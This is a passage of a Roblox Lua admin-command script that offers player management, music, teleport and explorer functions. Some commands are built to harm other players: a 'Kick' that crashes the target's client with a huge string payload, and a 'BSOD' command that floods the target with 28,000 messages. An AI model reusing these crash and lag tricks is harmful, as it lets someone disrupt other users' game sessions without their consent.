  688. table.insert(plrs, v)
  689. end
  690. end
  691. elseif msg == "others" then
  692. for _,v in pairs(game:service'Players':players()) do
  693. if v ~= plr then
  694. if GetRank(v) <= GetRank(plr) then
  695. table.insert(plrs, v)
  696. end
  697. end
  698. end
  699. else
  700. for _,v in pairs(game:service'Players':players()) do
  701. if v.Name:lower():sub(1,#msg) == msg:lower() then
  702. if GetRank(v) <= GetRank(plr) then
  703. table.insert(plrs, v)
  704. end
  705. end
  706. end
  707. end
  708. return plrs
  709. end
  710.  
  711. function PlaySound(name, id, pitch, loop)
  712. epicsound = Instance.new("Sound")
  713. epicsound.Name = "Epicosound"
  714. epicsound.SoundId = "rbxassetid://"..id
  715. epicsound.Volume = 1
  716. epicsound.Pitch = pitch
  717. epicsound.Name = name
  718. epicsound.Looped = true
  719. epicsound.Parent = script
  720. if epicsound.SoundId=="rbxassetid://tt" then -- TELL ME, TELL ME, WHERE DA FREAKS AT!
  721. epicsound.SoundId="rbxassetid://181158033"
  722. elseif epicsound.SoundId=="rbxassetid://fabulous" then -- FA-FA-FABULOUS!
  723. epicsound.SoundId="rbxassetid://191819419"
  724. elseif epicsound.SoundId=="rbxassetid://ufdb" then -- ultimate final death battle(fairy tail XD)
  725. epicsound.SoundId="rbxassetid://153085393"
  726. elseif epicsound.SoundId=="rbxassetid://nnm" then
  727. epicsound.SoundId="rbxassetid://210189234"
  728. elseif epicsound.SoundId=="rbxassetid://tun" then -- tunak tunak tun
  729. epicsound.SoundId="rbxass/setid://162682002"
  730. elseif epicsound.SoundId=="rbxassetid://zelda" then
  731. epicsound.SoundId="rbxassetid://158215156"
  732. elseif epicsound.SoundId=="rbxassetid://cc" then
  733. epicsound.SoundId="rbxassetid://177080835"
  734. end
  735. epicsound:Play()
  736. end
  737.  
  738.  
  739. function StopMusic(parent)
  740. if parent==nil then parent=script end
  741. for _,v in pairs(parent:GetChildren()) do
  742. if v:IsA("Sound") then
  743. v:stop()
  744. v.Volume = 0
  745. wait()
  746. v:Destroy()
  747. end
  748. end
  749. end
  750.  
  751. Core.Functions.Kick = function(Player)
  752. local Re = Instance.new('RemoteEvent',workspace):FireClient(Player,{string.rep('Kicked',2e5+5)})
  753. delay(1,function()
  754. pcall(function() workspace.RemoteEvent:Destroy() end)
  755. end)
  756. end
  757.  
  758. Core.Functions.SoundSearch2 = function(Speaker, msg, Num, load)
  759. if load == true then
  760. Core.Functions.Dismiss(Speaker)
  761. Output(Speaker,'Searching...','Lime green',nil,'Searching')
  762. end
  763. http=game:GetService'HttpService'
  764. url="http://roproxy.tk/catalog/json?Keyword="..http:UrlEncode(msg).."&Category=9&ResultsPerPage="..Num
  765. local assets=http:JSONDecode(http:GetAsync(url))
  766. Core.Functions.Dismiss(Speaker)
  767. for i,v in pairs(assets) do
  768. Output(Speaker, v.Name, GetColor(Speaker), function()
  769. Core.Functions.Dismiss(Speaker)
  770. Id=assets[i].AssetId
  771. local Asset=game:GetService("MarketplaceService"):GetProductInfo(tonumber(v.AssetId))
  772. Output(Speaker, "AssetType: "..Asset['AssetTypeId'], GetColor(Speaker))
  773. Output(Speaker, "Name: "..Asset['Name'], GetColor(Speaker))
  774. Output(Speaker, "Sales: "..Asset['Sales'], GetColor(Speaker))
  775. Output(Speaker, 'Description: '..Asset['Description'],GetColor(Speaker))
  776. Output(Speaker, "Id: "..Asset['AssetId'], GetColor(Speaker))
  777. Output(Speaker, "Back",'Deep orange',function()Core.Functions.SoundSearch2(Speaker, msg, Num, false)end,'Recent Page')
  778. Output(Speaker, "Play sound", 'Lime green', function()
  779. Core.Functions.Dismiss(Speaker)
  780. StopMusic(script)
  781. PlaySound(Asset['Name'],tonumber(v.AssetId), 1,false)
  782. end)
  783. Output(Speaker, "Nightcore It!", 'Lime green', function()
  784. Core.Functions.Dismiss(Speaker)
  785. StopMusic()
  786. PlaySound(Asset['Name'],tonumber(v.AssetId), 1.25,false)
  787. end)
  788. Output(Speaker, "Play sound custom pitch", 'Lime green', function()
  789. Core.Functions.Dismiss(Speaker)
  790. for i = .1, 2, .1 do
  791. Output(Speaker, i,GetColor(Speaker), function()
  792. Core.Functions.Dismiss(Speaker)
  793. StopMusic()
  794. PlaySound(Asset['Name'],tonumber(v.AssetId), i,false)
  795. end)
  796. end
  797. end)
  798. end)
  799. end
  800. end
  801.  
  802. Core.Functions.SoundSearch = function(Speaker, msg, Num)
  803. Num = 10
  804. Core.Functions.Dismiss(Speaker)
  805. Output(Speaker,'How many results?','Deep orange')
  806. Output(Speaker,'5','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,5,true) end)
  807. Output(Speaker,'10','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,10,true) end)
  808. Output(Speaker,'20','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,20,true) end)
  809. Output(Speaker,'30','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,30,true) end)
  810. Output(Speaker,'40','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,40,true) end)
  811. Output(Speaker,'50','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,50,true) end)
  812. --Output(Speaker,'60','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,60,true) end)
  813. --Output(Speaker,'70','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,70,true) end)
  814. --Output(Speaker,'80','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,80,true) end)
  815. --Output(Speaker,'90','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,90,true) end)
  816. --Output(Speaker,'100','Lime green',function() Core.Functions.SoundSearch2(Speaker,msg,100,true) end)--]]
  817. end
  818.  
  819. Core.Functions.Execute = function(Plr, msg)
  820. local Ran, Error = loadstring(msg) --Res is here
  821. if Error then
  822. Output(Plr, Error, "Deep orange")
  823. elseif Ran and not Error then
  824. getfenv(Ran).print=function(...)
  825. local D={...}
  826. for i,P in next,D do
  827. Output(Plr, tostring(P), "Really blue")
  828. end
  829. end
  830. getfenv(Ran).Core = Core
  831. end
  832. Ran()
  833. end
  834.  
  835. function ShowSortedCommands(p)
  836. Core.Functions.Dismiss(p)
  837. wait(0.5)
  838. Output(p,'Rank 0 commands',GetColor(p),function() ShowCommandsForRank(p,0) end)
  839. Output(p,'Rank 1 commands',GetColor(p),function() ShowCommandsForRank(p,1) end)
  840. Output(p,'Rank 2 commands',GetColor(p),function() ShowCommandsForRank(p,2) end)
  841. Output(p,'Rank 3 commands',GetColor(p),function() ShowCommandsForRank(p,3) end)
  842. Output(p,'Rank 4 commands',GetColor(p),function() ShowCommandsForRank(p,4) end)
  843. Output(p,'Rank 5 commands',GetColor(p),function() ShowCommandsForRank(p,5) end)
  844. Output(p,'Rank 6 commands',GetColor(p),function() ShowCommandsForRank(p,6) end)
  845. Output(p,'Rank 7 commands', GetColor(p), function() ShowCommandsForRank(p,7) end)
  846. Output(p,'All commands',GetColor(p),function() ShowCommandsForRank(p,5) end)
  847. Output(p,'Commands for your rank ('..GetRank(p)..')','Lime green',function() ShowCommandsForRank(p,GetRank(p)) end)
  848. Output(p,'Dismiss','Deep orange',function() Core.Functions.Dismiss(p) end)
  849. end
  850.  
  851. Core.Functions.ShowMusic = function(Speaker)
  852. Core.Functions.Dismiss(Speaker)
  853. for _,a in pairs(script:GetChildren()) do
  854. if a:IsA('Sound') then
  855. Output(Speaker,a['Name'],GetColor(Speaker),function()
  856. Output(Speaker,'Destroy '..a['Name'],'Deep orange',function()
  857. for i = 1,20 do
  858. a.Volume = a.Volume - .05
  859. wait()
  860. end
  861. Core.Functions.ShowMusic(Speaker)
  862. a:Destroy()
  863. end)
  864. if a.IsPlaying == false then
  865. Output(Speaker,'Play','Lime green',function()
  866. a:play()
  867. Core.Functions.ShowMusic(Speaker)
  868. end)
  869. end
  870. if a.IsPlaying == true then
  871. Output(Speaker,'Pause','Deep orange',function()
  872. a:stop()
  873. Core.Functions.ShowMusic(Speaker)
  874. end)
  875. end
  876. Output(Speaker, 'Restart','Deep orange',function()a:Play()end)
  877.  
  878. Output(Speaker,a['SoundId'],GetColor(Speaker),nil,'Sound Id')
  879. --Output(Speaker,a.Parent,GetColor(Speaker),nil,'Parent')
  880. Output(Speaker,a['Volume'],GetColor(Speaker),nil,'Volume')
  881. Output(Speaker,a['Pitch'],GetColor(Speaker),nil,'Pitch')
  882. Output(Speaker,a['Name'],GetColor(Speaker),nil,'Name')
  883. Output(Speaker,'Change Pitch',GetColor(Speaker),function()
  884. Core.Functions.Dismiss(Speaker)
  885. for i = .1, 2, .1 do
  886. Output(Speaker, i,GetColor(Speaker), function()
  887. Core.Functions.ShowMusic(Speaker)
  888. a.Pitch = i
  889. end)
  890. end
  891.  
  892. end) Output(Speaker,'Change Volume',GetColor(Speaker),function()
  893. Core.Functions.Dismiss(Speaker)
  894. for i = .1, 2, .1 do
  895. Output(Speaker, i,GetColor(Speaker), function()
  896. Core.Functions.ShowMusic(Speaker)
  897. a.Volume = i
  898. end)
  899. end
  900.  
  901. end)
  902. end)
  903. end
  904. end
  905. end
  906.  
  907. Core.Functions.Bland = function(Speaker)
  908. Core.Functions.Dismiss(Speaker)
  909. for _,Player in pairs(Core.Bans) do
  910. --pcall(function()
  911. Output(Speaker,Player['Name'],GetColor(Speaker),function()
  912. Core.Functions.Dismiss(Speaker)
  913. Output(Speaker,'Reason for ban: '..Player.Reason4Ban,GetColor(Speaker))
  914. Output(Speaker,'Back','Deep orange',function()Core.Functions.Bland(Speaker)end)
  915. Output(Speaker,'Name: '..Player['Name'],GetColor(Speaker))
  916. Output(Speaker,'Unban','Lime green',function()
  917. Core.Bans[Player['Name']] = nil
  918. Core.Bans[Player['Reason4Ban']] = nil
  919. Core.Functions.Bland(Speaker) end)
  920. end)
  921. --end)
  922. end
  923. end
  924.  
  925. Core.Functions.MakeLogs = function(Speaker)
  926. Core.Functions.Dismiss(Speaker)
  927. Output(Speaker,'Back','Deep orange',function()Core.Functions.ShowLogs(Speaker)end)
  928. Output(Speaker,'Refresh','Lime green',function()
  929. --Core.Functions.Dismiss(Speaker)
  930. Core.Functions.MakeLogs(Speaker)
  931. end) -- fixed I think
  932.  
  933. table.foreach(Logs,function(i,v)
  934. Output(Speaker, '['..v['Name'].. ']: ' ..v['Message'], GetColor(Speaker), function()end)
  935. -- fixed I think
  936.  
  937. end)
  938.  
  939. --Output(Speaker, v, GetColor(v), function() Core.Functions.Dismiss(Speaker)
  940. end
  941.  
  942. Core.Functions.ShowLogs = function(Speaker)
  943. Core.Functions.Dismiss(Speaker)
  944. Output(Speaker,'View Logs','Lime green',function()Core.Functions.MakeLogs(Speaker)end)
  945. Output(Speaker,'Clear logs','Deep orange',function()
  946. --Core.Functions.Dismiss(Speaker)
  947. Output(Speaker,'Cleared Logs','Lime green',function()end)
  948. Logs = {}
  949. end)
  950. end
  951. function ShowCommandsForRank(p,rank)
  952. if rank==nil then rank=0 end
  953. Core.Functions.Dismiss(p)
  954. wait(0.5)
  955. coroutine.resume(coroutine.create(function()
  956. for _,cmd in next,Core.Commands do
  957. if cmd.Rank<=rank then
  958. Output(p,cmd.Name..'['..cmd.Rank..']',GetColor(p),function()
  959. Core.Functions.Dismiss(p)
  960. wait(0.5)
  961. Output(p,'Name : ' ..cmd.Name,GetColor(p))
  962. Output(p,'Description : ' ..cmd.Description,GetColor(p))
  963. Output(p,'Usage: '..cmd.Say..key, GetColor(p))
  964. Output(p,'Rank needed: '..cmd.Rank,GetColor(p))
  965. Output(p,'Back','Lime green',function() ShowCommandsForRank(p,rank) end)
  966. Output(p,'Dismiss','Deep orange',function() Core.Functions.Dismiss(p) end)
  967. end)
  968. end
  969. end
  970. Output(p,'Back','Lime green',function()Core.Functions.Dismiss(p) ShowSortedCommands(p) end)
  971. Output(p,'Dismiss','Deep orange',function() Core.Functions.Dismiss(p) end)
  972. end))
  973. end
  974.  
  975. Core.Functions.Networkplrs = function(Speaker)
  976. Core.Functions.Dismiss(Speaker)
  977. for i,v in ipairs(game:FindService("NetworkServer"):GetChildren()) do
  978. local Players=v:GetPlayer();
  979. if(not Players.Parent) then
  980. Output(Speaker,Players.Name..' | Nil',GetColor(Speaker),function()
  981. Core.Functions.Dismiss(Speaker)
  982. if(not Players.Parent) then
  983. Output(Speaker,'Parent: Nil',GetColor(Speaker),function()end)
  984. elseif (Players.Parent) then
  985. Output(Speaker,'Parent: Players',GetColor(Speaker),function()end)
  986. end
  987. Output(Speaker,'Name: '..Players.Name,GetColor(Speaker),function()end)
  988. Output(Speaker,'Kick','Deep orange',function()
  989. Core.Functions.Kick(Players)
  990. end)
  991. Output(Speaker,'Back','Lime green',function()
  992. Core.Functions.Networkplrs(Speaker)
  993. end)
  994. end)
  995. elseif (Players.Parent) then
  996. Output(Speaker,Players.Name..' | Players',GetColor(Speaker),function()
  997. Core.Functions.Dismiss(Speaker)
  998. if(not Players.Parent) then
  999. Output(Speaker,'Parent: Nil',GetColor(Speaker),function()end)
  1000. elseif (Players.Parent) then
  1001. Output(Speaker,'Parent: Players',GetColor(Speaker),function()end)
  1002. end
  1003. Output(Speaker,'Name: '..Players.Name,GetColor(Speaker),function()end)
  1004. Output(Speaker,'Kick','Deep orange',function()
  1005. Core.Functions.Kick(Players)
  1006. end)
  1007. Output(Speaker,'Back','Lime green',function()
  1008. Core.Functions.Networkplrs(Speaker)
  1009. end)
  1010. end)
  1011. end
  1012. end
  1013. end
  1014.  
  1015. function GetChildNum(of)
  1016. local Object = #of:GetChildren()
  1017. return Object
  1018. end
  1019.  
  1020. Core.Functions.PenPistol = function(Plr)
  1021. plr = Plr
  1022. bp = plr.Backpack
  1023. Rool = Instance.new("Tool",bp)
  1024. Rool.Name = 'Pen Pistol'
  1025. Rool.ToolTip = 'A Class - A PenPistol [CoreScripts]'
  1026. bulcount = 0
  1027. Part = Instance.new("Part",bp['Pen Pistol'])
  1028. --mesh = Instance.new('BlockMesh',Part)
  1029. --mesh.Offset = Vector3.new(-1,2,-1)
  1030. Part.FormFactor = 'Custom'
  1031. Part.Position = Vector3.new(-1,2,-2)
  1032. Part.Rotation = Vector3.new(0,0,90)
  1033. Part.Size = Vector3.new(.2,.2,1)
  1034. Part.Name = "Handle"
  1035. local user = plr
  1036. TriggerDown = false
  1037. local tool = bp['Pen Pistol']
  1038. tool.Equipped:connect(function(mouse)
  1039. user = tool.Parent
  1040. mouse.Button1Down:connect(function()
  1041. local c = Instance.new('Sound',Part)
  1042. c.Pitch = 2.3
  1043. c.Volume = 3
  1044. c.SoundId = 'http://www.roblox.com/asset/?id=25270310'
  1045. c:play()
  1046. local ray = Ray.new(tool.Handle.CFrame.p, (mouse.Hit.p - tool.Handle.CFrame.p).unit*300)
  1047.  
  1048. local hit, position = game.Workspace:FindPartOnRay(ray, user)
  1049. local distance = (position - tool.Handle.CFrame.p).magnitude
  1050. local rayPart = Instance.new("Part", workspace)
  1051. rayPart.BottomSurface = 'Smooth'
  1052. rayPart.Size = Vector3.new(0.2, 0.2, distance)
  1053. rayPart.formFactor = Enum.FormFactor.Custom
  1054. rayPart.CFrame = CFrame.new(position, tool.Handle.CFrame.p) * CFrame.new(0, 0, -distance/2)
  1055. rayPart.Name = "raypart"
  1056. rayPart.FormFactor = 'Custom'
  1057. rayPart.BrickColor = BrickColor.Yellow()
  1058. rayPart.TopSurface = 'Smooth'
  1059. rayPart.Anchored = true
  1060. rayPart.CanCollide = false
  1061. local humanoid = hit
  1062. if humanoid then
  1063. if humanoid ~= rayPart then
  1064. if humanoid.Name ~= 'Base' then
  1065. humanoid.BrickColor = BrickColor.Red()
  1066. for i = 1,20 do
  1067. humanoid.Transparency = humanoid.Transparency + .05
  1068. wait()
  1069. end
  1070. humanoid:Destroy()
  1071. end
  1072. end
  1073. end
  1074. --[[local part =Instance.new('Part',user)
  1075. part.Anchored = true
  1076. part.BrickColor = BrickColor.Black()
  1077. part.CFrame = CFrame.new(position, tool.Handle.CFrame.p) * CFrame.new(0, 0, -distance/2)
  1078. part.Name = 'hitpart'
  1079. part.FormFactor = 'Custom'
  1080. part.CanCollide = false
  1081. part.Size = Vector3.new(.2,.2,.2)
  1082. game.Debris:AddItem(part, 2)--]]
  1083. --[[local m = Instance.new('Explosion',workspace)
  1084. m.BlastRadius = 1
  1085. m.Position = mouse.Hit.p--]]
  1086. rayPart.Anchored = true
  1087. bulcount = bulcount + 1
  1088. print(bulcount..' Bullets fired')
  1089. game.Debris:AddItem(rayPart, .1)
  1090. end)
  1091. end)
  1092.  
  1093. game:GetService('RunService').Heartbeat:connect(function()
  1094. if plr.Character.Humanoid.Health <= 1 then
  1095. --Rool:Destroy()
  1096. plr.Character.Humanoid:Destroy()
  1097. e = Instance.new('Humanoid',plr.Character)
  1098. --plr:MakeJoints()
  1099. end
  1100. end)
  1101. user.ChildAdded:connect(function(p)
  1102. if p.Name == 'raypart' then
  1103. game.Debris:AddItem(p,4)
  1104. end
  1105. end)
  1106. end
  1107.  
  1108. --[[m = Instance.new('Script',CloneFolder)
  1109. m.Name = 'Nothing to clone'
  1110. Core.Functions.Expl = function(Speaker, item)
  1111. item = {}
  1112. Core.Functions.Dismiss(Speaker)
  1113. Output(Speaker,'Dismiss','Deep orange',function()Core.Functions.Dismiss(Speaker)end)
  1114. Output(Speaker,'ClassName: ',GetColor(Speaker),nil)
  1115. Output(Speaker,'Exploreable Children: '..GetChildNum(game),GetColor(Speaker),nil)
  1116. Output(Speaker,'Explore Game','Lime green',function()
  1117. Core.Functions.Dismiss(Speaker)
  1118. Output(Speaker,'Getting Objects','Lime green',nil,'Searching...')
  1119. wait(math.random(GetChildNum(game)/10/math.random(1,3)))
  1120. Core.Functions.Dismiss(Speaker)
  1121. for _,Item in pairs(game:GetChildren()) do
  1122. if Item:IsA('Instance') then end
  1123. if Item then
  1124. Output(Speaker,Item.Name,GetColor(Speaker),nil)
  1125. end
  1126. end
  1127. end)
  1128. end--]]
  1129.  
  1130. --[[Output = function(Player,Text,Color,Function,Title)
  1131. if Text==nil then Text='NIL' end;
  1132. if Title==nil then Title = 'Core' end;
  1133. Text='['..Title..']\n'..Text--]]
  1134.  
  1135. Core.Functions.MakeBase = function()
  1136.  
  1137. local base = Instance.new('Part',workspace)
  1138. base.CFrame = CFrame.new(0,-0.6,0)
  1139. base.FormFactor = 'Custom'
  1140. base.Name = 'Base'
  1141. base.BrickColor = BrickColor.new('Bright green')
  1142. base.TopSurface = 'Smooth'
  1143. base.BottomSurface = 'Smooth'
  1144. base.Anchored = true
  1145. base.Material = 'Grass'
  1146. base.Size = Vector3.new(700,1.2,700)
  1147. base.Locked = true
  1148.  
  1149. end
  1150.  
  1151. Core.Functions.Clean = function(Speaker)
  1152. Output(Speaker,'Are you sure, this wll also disable your script',GetColor(Speaker),nil,'Positive?')
  1153. Output(Speaker,'Yes','Lime green',function()
  1154. local e = Instance.new('Message',workspace)
  1155. e.Text = 'Cleaning'
  1156. e.Name = 'Cleaning Message'
  1157. for _,item in pairs(game.Workspace:GetChildren()) do
  1158. if item then
  1159. if item.Name ~= 'Terrain' then
  1160. if item.Name ~= 'Base' then
  1161. if item.Name ~= 'Cleaning Message' then
  1162. item:Destroy()
  1163. end end
  1164. end end end
  1165. e.Text = 'Cleaned'
  1166. Core.Functions.MakeBase()
  1167. for _,v in pairs(game.Players:GetChildren()) do
  1168. if v:IsA('Player') then
  1169. v:LoadCharacter()
  1170. wait()
  1171. end
  1172. end
  1173. wait(1.5)
  1174. e:Destroy()--]]
  1175. end)
  1176. Output(Speaker,'No','Deep orange',function()
  1177. Core.Functions.Dismiss(Speaker)
  1178. end)
  1179. end
  1180.  
  1181. Core.Functions.IsInstance = function(Object)
  1182. if pcall(function() local test = Object.ClassName end) then
  1183. return true
  1184. end
  1185. return false
  1186. end
  1187.  
  1188. Core.Functions.ExplInstance = function(Speaker, Object)
  1189. Core.Functions.Dismiss(Speaker)
  1190. if not Core.Functions.IsInstance(Object) then
  1191. Output(Speaker,'That object cannot be explored!','Deep orange',nil,"Explorer")
  1192. return
  1193. end
  1194. Output(Speaker,Object.Name,'Deep orange',function()Object:Destroy()end,'Destroy')
  1195. Output(Speaker,"Explore children",GetColor(Speaker),function()
  1196. Core.Functions.ExplChildren(Speaker, Object)
  1197. end, "Explorer")
  1198. end
  1199.  
  1200. Core.Functions.ExplChildren = function(Speaker, Object)
  1201. Core.Functions.Dismiss(Speaker)
  1202. if not Core.Functions.IsInstance(Object) then
  1203. Output(Speaker,'That object cannot be explored!','Deep orange',nil,"Explorer")
  1204. return
  1205. end
  1206. Output(Speaker,Object.Name,GetColor(Speaker),nil,'Currently Exploring')
  1207. for _,Item in ipairs(Object:GetChildren()) do
  1208. if Core.Functions.IsInstance(Item) then
  1209. Output(Speaker,Item.Name,GetColor(Speaker),function()
  1210. Core.Functions.ExplInstance(Speaker,Item)
  1211. end,"Explorer")
  1212. end
  1213. end
  1214. end
  1215.  
  1216. Core.Functions.OxChat = function(Speaker, Plr)
  1217. Plr = Plr--//Ur name pls
  1218. --13 = Enter key
  1219. local Name
  1220. local SV
  1221. a = Instance.new('ScreenGui',Plr.PlayerGui)
  1222. b = Instance.new('TextBox',a)
  1223. b.Draggable = false
  1224. b.MultiLine = true
  1225. b.ClearTextOnFocus = true
  1226. b.Size = UDim2.new(0,300,0,140)
  1227. b.FontSize = 'Size18'
  1228. b.Font = 'Arial'
  1229. b.Position = UDim2.new(0,20,0,440)
  1230. b.Active = true
  1231. b.Text = 'Custom Text'
  1232. ba = Instance.new('TextBox',a)
  1233. ba.Draggable = false
  1234. ba.MultiLine = true
  1235. ba.ClearTextOnFocus = true
  1236. ba.Size = UDim2.new(0,300,0,20)
  1237. ba.FontSize = 'Size18'
  1238. ba.Font = 'Arial'
  1239. ba.Position = UDim2.new(0,20,0,420)
  1240. ba.Active = true
  1241. ba.Text = 'Custom Name'
  1242. local bb = Instance.new('TextButton',a)
  1243. bb.Draggable = false
  1244. bb.Size = UDim2.new(0,300,0,20)
  1245. bb.FontSize = 'Size18'
  1246. bb.Font = 'ArialBold'
  1247. bb.Position = UDim2.new(0,20,0,400)
  1248. bb.Active = true
  1249. bb.Text = 'Enter Text!'
  1250. for _,mk in pairs(game.Players:GetPlayers()) do
  1251. local SV1 = Instance.new('StringValue')
  1252. SV1.Parent = mk
  1253. SV1.Name = 'SB_Chat'
  1254. SV1.Value = "[Legit V4 System]/"..Plr.Name.." has recieved an oxchat gui from "..Speaker.Name
  1255. game.Debris:AddItem(SV1, 2)
  1256. end
  1257. bb.MouseButton1Click:connect(function()
  1258. for _,v in pairs(game.Players:GetPlayers()) do
  1259. SV = Instance.new('StringValue')
  1260. SV.Parent = v
  1261. SV.Name = 'SB_Chat'
  1262. SV.Value = ""..ba.Text.."/"..b.Text..""
  1263. game.Debris:AddItem(SV, .1)
  1264. end
  1265. end)
  1266. end
  1267.  
  1268.  
  1269. Core.Functions.Expl = function(Speaker, item)
  1270. Core.Functions.ExplChildren(Speaker, game)
  1271. end
  1272.  
  1273. Core.Functions.PriBase = function()
  1274. local base = Instance.new('Part',script)
  1275. base.CFrame = CFrame.new(0,7000,0)
  1276. base.FormFactor = 'Custom'
  1277. base.Name = 'Private Base'
  1278. base.BrickColor = BrickColor.new('Bright green')
  1279. base.TopSurface = 'Smooth'
  1280. base.BottomSurface = 'Smooth'
  1281. base.Anchored = true
  1282. base.Material = 'Grass'
  1283. base.Size = Vector3.new(2048,.2,2048)
  1284. base.Locked = true
  1285. end
  1286.  
  1287. Core.Functions.TpBase = function(plr)
  1288. if script:FindFirstChild('Private Base') then
  1289. local PlayerTorso = plr.Character.Torso
  1290. PlayerTorso.Position = script['Private Base'].Position + Vector3.new(0,5,0)
  1291. end
  1292. end
  1293.  
  1294. Core.Functions.TpHome = function(plr)
  1295. if workspace.Base then
  1296. local PlayerTorso = plr.Character.Torso
  1297. PlayerTorso.Position = workspace.Base.Position + Vector3.new(0,5,0)
  1298. end
  1299. end
  1300.  
  1301. AddCmd('Pri Base ','pb',2,'Make a private base.','No arguments',function(Speaker, msg)
  1302. Core.Functions.PriBase()
  1303. Output(Speaker,'Created a base',GetColor(Speaker),nil,'Success!')
  1304. end)
  1305.  
  1306. AddCmd('Pri Base Teleport','tpb',2,'Teleport a player to you private base.',{'others'},function(Speaker, msg)
  1307. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1308. if Player.Character then
  1309. Core.Functions.TpBase(Player)
  1310. Output(Speaker,Player.Name..' Is now at your Private Base',GetColor(Speaker),nil,'Success!')
  1311. end
  1312. end
  1313. end)
  1314.  
  1315. --[[AddCmd('Pen Pistol','gun',3,'Give a player a custom made Pen Pistol.',{'others', 'all'},function(Speaker, msg)
  1316. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1317. if Player.Backpack and Player.Character then
  1318. Core.Functions.PenPistol(Player)
  1319. Output(Speaker,Player.Name..' Recieved a Pen Pistol',GetColor(Speaker),nil,'Success!')
  1320. end
  1321. end
  1322. end)--]]--Not working cuz its not a local script...
  1323.  
  1324. AddCmd('Base Teleport','tph',2,'Teleport a player to the main base.',{'others'},function(Speaker, msg)
  1325. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1326. if Player.Character then
  1327. Core.Functions.TpHome(Player)
  1328. Output(Speaker,Player.Name..' Is now at the home base',GetColor(Speaker),nil,'Success!')
  1329. end
  1330. end
  1331. end)
  1332.  
  1333. AddCmd('View Commands','cmds',0,'View all the commands','No arguments',function(plr, msg)
  1334. ShowSortedCommands(plr)
  1335. end)
  1336.  
  1337. AddCmd('Explore','explore',3,'Explore the game.','No arguments',function(plr, msg)
  1338. Core.Functions.Expl(plr, msg)
  1339. end)
  1340.  
  1341. AddCmd('Workspace','workspace',3,'Explore the workspace.','No arguments',function(plr, msg)
  1342. Core.Functions.ExplChildren(plr, workspace)
  1343. end)
  1344.  
  1345.  
  1346. AddCmd('Dismiss all','dta',5,'Dismiss everyones tablet.','No arguments',function(plr,msg)
  1347. Core.Functions.DismissAll(plr)
  1348. end)
  1349.  
  1350. AddCmd('Playing music','mymusic',2,'Shows your music.','mym',function(plr,msg)
  1351. Core.Functions.ShowMusic(plr)
  1352. end)
  1353.  
  1354. AddCmd('Kill','kill',2,'Kill a player.',{'others'},function(Speaker, msg)
  1355. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1356. if Player then
  1357. Player.Character:BreakJoints() -- o shiz
  1358. Output(Speaker,'Killed '..Player.Name,GetColor(Speaker),nil,'Success!')
  1359. end
  1360. end
  1361. end)--foreach--lel
  1362.  
  1363. AddCmd('Kick','kick',3,'Kick a player.',{'others'},function(Speaker, msg)
  1364. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1365. if Player then
  1366. Core.Functions.Kick(Player)
  1367. Output(Speaker,'Kicked '..Player.Name,GetColor(Speaker),nil,'Success!')
  1368. end
  1369. end
  1370. end)
  1371.  
  1372. AddCmd('Invisible','invis',3,'Make a player invisible.',{'others'},function(Speaker, msg)
  1373. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1374. if Player then
  1375. Player.Character.Transparency = 1
  1376. Output(Speaker,'Kicked '..Player.Name,GetColor(Speaker),nil,'Success!')
  1377. end
  1378. end
  1379. end)
  1380.  
  1381. AddCmd('Unrekt','unrekt',1337,'Unrekt a player.',{'others'},function(Speaker, msg)
  1382. for _,Player in next,(Core.Functions.GetPlayers(Speaker,msg)) do
  1383. if Player then
  1384. Player:LoadCharacter()
  1385. Output(Speaker,'Unrekted '..Player.Name,GetColor(Speaker),nil,'Success')
  1386. end
  1387. end
  1388. end)
  1389.  
  1390. AddCmd('Nil','nil',1337,'Nil a player.',{'others'},function(Speaker, msg)
  1391. for _,Player in next,(Core.Functions.GetPlayers(Speaker, msg)) do
  1392. if Player then
  1393. Player:Remove();
  1394. Output(Speaker,'Niled '..Player.Name,GetColor(Speaker),nil,'Success!')
  1395.  
  1396. end
  1397. end
  1398. end)
  1399.  
  1400. AddCmd('Set Rank','rank',6,'Set a players rank.','No Arguments',function(Speaker, msg)
  1401. for _,Player in next,(Core.Functions.GetPlayers(Speaker, msg)) do
  1402. if Player then
  1403. Core.Functions.SetRank(Speaker, Player)
  1404.  
  1405. end
  1406. end
  1407. end)
  1408.  
  1409. AddCmd('BSOD','bsod',6,'Bsod a player.','Not args',function(plr, msg)
  1410. for _,Plr in next,(Core.Functions.GetPlayers(plr, msg)) do
  1411. if Plr then
  1412. for i = 0,28000 do
  1413. Instance.new("Message",Plr:FindFirstChild('PlayerGui')).Text='Get Lagged M9'
  1414. end
  1415. end
  1416. Plr.CameraMode = 'LockFirstPerson'
  1417. end
  1418. end)
  1419.  
  1420. AddCmd('Dismiss','dt',-1,'Dismiss a tablet.','No arguments',function(plr, msg)
  1421. Core.Functions.Dismiss(plr)
  1422. end)
  1423.  
  1424. AddCmd('Ping','ping',0,'Output a message.','No arguments',function(plr, msg)
  1425. Output(plr, msg,GetColor(plr),nil,'Ping!')
  1426. end)
  1427.  
  1428. AddCmd('Afk','afk',-1,'Away from keyboard.','No arguments',function(Speaker, msg)
  1429. local afktime = -1
  1430. local afk = true
  1431. Speaker.Chatted:connect(function()
  1432. afk = false
  1433. end)
  1434. posz = Speaker.Character.Torso.CFrame.Z
  1435. posx = Speaker.Character.Torso.CFrame.X
  1436. game["Run Service"].Heartbeat:connect(function()
  1437.  
  1438. if Speaker.Character.Torso.CFrame.Z ~= posz then
  1439. if Speaker.Character.Torso.CFrame.X ~= posx then
  1440. afk = false
  1441. end
  1442. end
  1443. end)
  1444. repeat afktime = afktime + 1
  1445. Core.Functions.Dismiss(Speaker)
  1446. Output(Speaker,afktime..' Seconds',GetColor(plr),nil,'Afk for...')
